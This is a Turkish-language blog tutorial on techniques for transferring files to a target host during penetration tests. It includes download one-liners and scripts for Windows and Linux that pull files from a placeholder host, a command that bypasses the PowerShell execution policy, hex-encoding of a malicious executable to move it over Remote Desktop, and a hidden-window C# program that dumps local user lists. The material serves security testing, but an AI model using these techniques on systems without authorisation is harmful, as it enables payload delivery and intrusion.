Sızma Testlerinde Uzak Sisteme Dosya Aktarma Teknikleri

Sızma testlerinde hedef sistemin komut satırını ele geçirdiğiniz durumlarda hedef sisteme dosya aktarmak ve çalıştırmak için bazı pratik komutlara ihtiyacınız olacaktır.

Windows/Linux /*ni vb. sistemlerde hali hazırda kurulu gelen uygulamalar üzerinden aşağıdaki teknikleri kullanarak dosya aktarımı gerçekleştirebilirsiniz.

Hedef Makinanın Windows Olduğu Senaryolar

PowerShell ile dosya indirmek

Powershell Microsoft’un Windows tabanlı işletim sistemlerinde kullanılması için çıkardığı bir komut satırıdır. Bu güne dek Microsoft’un çıkartmış olduğu ürünlerin büyük bir kısmı grafiksel bir arayüzden yönetilmekteydi. Ancak Server 2008’in kullanıma sunulmasıyla beraber Linux ve Unix tabanlı işletim sistemlerinde görülmeye alışkın olunan komut satırı artık Windows işletim sistemlerinde de mevcut hale geldi. Aşağıdaki örnekte basit bir script ile powershell kullanarak uzaktaki bir dosyanın nasıl indirebileceğini göreceksiniz.

Bu scripti bir dosyaya yazıp;

 

$p = New-Object System.Net.WebClient
$p.DownloadFile(“http://domain.com/deneme.txt” “C:\Users\Username\Desktop\deneme.txt”)

Scripti çalıştırmak için gereken komutu girelim.

PS C:\> .\scriptim.ps1

Bazı kullanıcılar için powershell çalıştırma yetkileri kısıtlanmış olabilir. Dolayısıyla çalıştırmayı denediğinizde hata alabilirsiniz. Bu gibi durumlarda aşağıdaki komutu kullanarak çalıştırma yetkisini alabilirsiniz.

C:\> powershell set-executionpolicy unrestricted

Visual Basic ile dosya indirmek

Visual Basic final sürümü olarak 1998 yılından itibaren Windows işletim sistemlerinde standart olarak yüklü gelmektedir. Aşağıdaki script ile belirtmiş olduğunuz dosyayı indirebilirsiniz. Script çıktısı powershell e nazaran biraz daha büyük.

Set args = Wscript.Arguments
Url = “http://domain.com/deneme.txt”
dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”)
dim bStrm: Set bStrm = createobject(“Adodb.Stream”)
xHttp.Open “GET”, Url, False
xHttp.Send
with bStrm
.type = 1 ‘
.open
.write xHttp.responseBody
.savetofile ” C:\Users\Username\Desktop\deneme.txt”, 2 ‘
end with

 

 

İçeriği bir dosyaya kaydettikten sonra komut satırında aşağıdaki komutu girerek scripti çalıştırabilirsiniz.

C:\> cscript scriptim.vbs

TFTP ile dosya indirmek

TFTP (Trivial FTP) Windows Vista ve daha önceki sürümlerde standart olarak yüklüdür. Ancak uyumlu sunucu ile yapılandırmanız gerekmektedir. Bunun için komut satırına aşağıdaki komutu girmeniz gerekmektedir.

tftp -i host GET C:\Users\Username\Desktop\deneme.txt tftp_sunucusundaki_dosyanin_yeri

Bitsadmin ile dosya indirmek

Bitsadmin Windows için geliştirilmiş, komut satırından çalışan dosya indirme-gönderme görevleri oluşturmanızı sağlayan bir araçtır. Kullanmak için komut satırına aşağıdaki komutu girmeniz gerekmektedir.

bitsadmin /transfer n http://domain.com/deneme.txt c:\Users\Username\Desktop\deneme.txt

Windows Paylaş ile dosya indirmek

Windowsta paylaşılan klasörler uzakta bağlanılabilir. Bağlayıp sürücü harfi atandıktan sonra sürücü içeriği komutlar ile kopyalanabilir.

Uzaktaki sürücüyü bağlamak için aşağıdaki komutu girmeniz yeterlidir.

net use x: \\127.0.0.1\paylasim /kullanici:domain.com\KullaniciID kullaniciparolasi

PowerShell ve Nishang ile Exe’den Txt’ye, Txt’den Exe’ye

Nishang exe uzantılı dosyayı hex koduna çevirebilmemize olanak sağlıyor. Daha sonra PowerShell ile hex’i tekrar orijinal exe’ye dönüştürebiliyoruz. Karşılaşmış olduğumuz makinalarda Uzak Masaüstü Bağlantısında exe transferi gerçekleştirilemeyen durumlar oluyordu. Bu, temel düzeyde koruma sağlıyor olsa da kopyalanan içeriği önbelleğe alıp aktarma işlemini gerçekleştirebiliyoruz. Bu şekilde bir senaryo ile karşı karşıya olduğumuz durumlarda Nishang ile aktarmak istediğimiz exe’yi hex’e çevirip bunu uzaktaki makinaya kopyaladıktan sonra .ps1 uzantılı olarak kaydediyoruz. Kopyalamamız gereken nishang scripti TexttoExe.ps1 ve sadece 8 satır uzunluğunda. Nishang i buradan indirebilirsiniz.

Exe’den Hex’e çevirmek için aşağıdaki kodu kullanabilirsiniz.

PS > .\ExetoText.ps1 zararli.exe zararli.txt

İşlem sonrasında zararli.txt dosyasını açıp içeriğini kopyalıyoruz. Daha sonra uzak masaüstü bağlantısı aracılığıyla uzaktaki makinada yapıştırıyoruz. Aynı işlemi TexttoExe.ps1 nishang scripti içinde uygulamamız gerekiyor.

Hex dosyasını tekrar exe’ye çevirmek için aşağıdaki komutu kullanmamız yeterli.

PS > .\TexttoExe.ps1 zararli.text zararli.exe

Bu işlem sonrasında zararli.exe dosyamız başarıyla uzaktaki makinamıza aktarılmış oluyor.

Csc.exe ile Kaynak Koddan dosya derlemek

Csc (C sharp derleyicisi) komut satırı üzerinden çalışan bir derleyicidir. Microsoft .NET içerisinde bulunur ve Windows ile birlikte yüklü olarak gelir. Metin kopyalayabiliyor fakat çalıştırılabilir bir dosya kopyalayamıyor olduğunuz durumlarda bu yöntem işinize yarayabilir. Bu yöntem SQL Injection ile birlikte kullanıldığında izin verilmiş proxye ihtiyacınız olmadan exe dosyasını kopyalayabilirsiniz.

Csc.exe’nin varsayılan olarak bulunduğu dizin;

C:\Windows\Microsoft.NET\Framework\version

Aşağıdaki örnek kodumuzda derlenmiş exe, cmd.exe kullanarak yerel bilgisayardaki kullanıcıları sorgulayacak ve sonrasında C:\Temp dizinine kullanicilar.txt dosyası oluşturup çıktıyı bu dosyaya yazdıracak. Bu örnekte çok basit bir sorgulama yapılmış olsada, bu yöntem ile kendi kodunuzu yazabilir, exploitinizi çalıştırabilirsiniz.

public class Evil
{
public static void Main()
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = “cmd.exe”;
startInfo.Arguments = “/C net users > C:\\Temp\\kullanicilar.txt”;
process.StartInfo = startInfo;
process.Start();
}
}

Kaynak kodu derlemek için;

csc.exe /out:C:\zararli\zararli.exe C:\zararli\zararli.cs

Hedef Makinanın Linux ve Türevi Olduğu Senaryolar

Perl ile dosya indirmek

Perl hemen hemen herşey için kullanılabilen çok yönlü bir betik dilidir. Perl kullanarak kolay ve hızlıca uzaktaki bir dosyayı indirebilirsiniz.

#!/usr/bin/perl
use LWP::Simple;
getstore(“http://domain.com/deneme.txt”, “deneme.txt”);

Perl scriptini çalıştırmak için komut satırına aşağıdaki komutu girmeniz yeterlidir.

root@meg:~# perl dosya_ismi.pl

Python ile dosya indirmek

Python kodu okunabilirliği vurgulayan genel amaçlı bir betik dilidir. Basit sözdizimi yapısı sayesinde yapılmak istenen iş için en az kod kullanmayı hedeflemektedir. Aşağıdaki pyton kodunu kullanarak dosya indirmeyi sağlayabilirsiniz.

#!/usr/bin/python
import urllib2
u = urllib2.urlopen(‘http://domain.com/deneme.txt’)
localFile = open(‘local_file’, ‘w’)
localFile.write(u.read())
localFile.close()

Aşağıdaki kod ile pyton scriptini çalıştırabilirsiniz.

root@meg:~# python script_ismi.py

Ruby ile dosya indirmek

Ruby geliştiricilerinin söylediğine göre, Verimlilik ve sadelik üzerine odaklanmış, açık kaynak kodlu dinamik bir dildir. Okumayı ve yazmayı kolaylaştıran, doğal bir sözdizimine sahiptir. Ruby’nin en göze çarpan özelliği nesne tabanlı olması ve bu sayede bir çok yapı ile (örn. Metasploit) birlikte kullanılabilmesidir.

#!/usr/bin/ruby
require ‘net/http’
Net::HTTP.start(“www.domain.com”) { |http|
r = http.get(“/file”)
open(“save_location”, “wb”) { |file|
file.write(r.body)
}
}

Ruby scriptini çalıştırmak için aşağıdaki kodu komut satırına yazmanız yeterlidir.

root@meg:~# ruby dosya_ismi.rb

PHP ile dosya indirmek

PHP genellikle sunucu tabanlı web programlama için kullanılsa da ihtiyaç olması durumunda basit bir script ile dosya indirme işlemi de yapabilirsiniz.

#!/usr/bin/php

<?php
$data = @file(“http://domain.com/deneme.txt”);
$lf = “local_file”;
$fh = fopen($lf, ‘w’);
fwrite($fh, $data[0]);
fclose($fh);
?>

Çalıştırmak için komutu yazmanız yeterlidir.

root@meg:~# php dosya_ismi.php

Genellikle php ile dosya indirmelerde herhangi bir kısıtlama ile karşılaşmazsınız. Ancak bu tarz durumlarda 1-2 farklı adım ile bypass edilebilecek senaryolar geliştirebilirsiniz.

FTP ile dosya indirmek

Ftp ile dosya indirme işlemi yapılabilmesi için ECHO komutuyla bir bash script hazırlayıp kolayca işleminizi tamamlayabilirsiniz.

ftp 127.0.0.1
username
password
get file
exit

Wget ile dosya indirmek

Wget, Linux ve Windows tabanında etkileşimsiz indirme yapılmasına olanak sağlayan bir araçtır. Kullanımı çok basittir.

wget http://domain.com/deneme.txt

NetCat (nc) ile dosya indirmek

Netcat belirlenmiş bir port üzerinden dosya aktarımını destekler. Ancak bu örneğin Linux’a özel olduğunu unutmayın.

cat file | nc -l 1234

Bu komut localhostta 1234 portunu dinlemeye dosya içeriğini alıp ekrana yazdıracaktır. Daha sonra 1234 portuna bağlanıldığında dosyayı gönderecektir.

Alttaki komut ise hedef makinada çalıştırıldığında sizin dinlemeye aldığınız 1234 portuna bağlanıp dosya gönderimi tamamlanacaktır.

nc host_ip 1234 > deneme.txt

Perl, Python ve Ruby ile Windows sistemlerde dosta aktarımı mümkün, ancak öncesinde kurulmuş olması gerektiğinden Windows kategorisine eklemedim. Aynı şekilde wget başlığı altında her ne kadar Windows desteği olduğunu belirtmiş olsamda wget’in de daha önceden kurulmuş olması gereklidir.

Kaynak:

https://www.netspi.com/blog/entryid/231/15-ways-to-download-a-file

http://www.cehturkiye.com/index.php/2014/06/25/sizma-testlerinde-uzak-sisteme-dosya-aktarma-teknikleri/sizma-testlerinde-uzak-sisteme-dosya-aktarma-teknikleri.html

 

Leave a reply:

Site Footer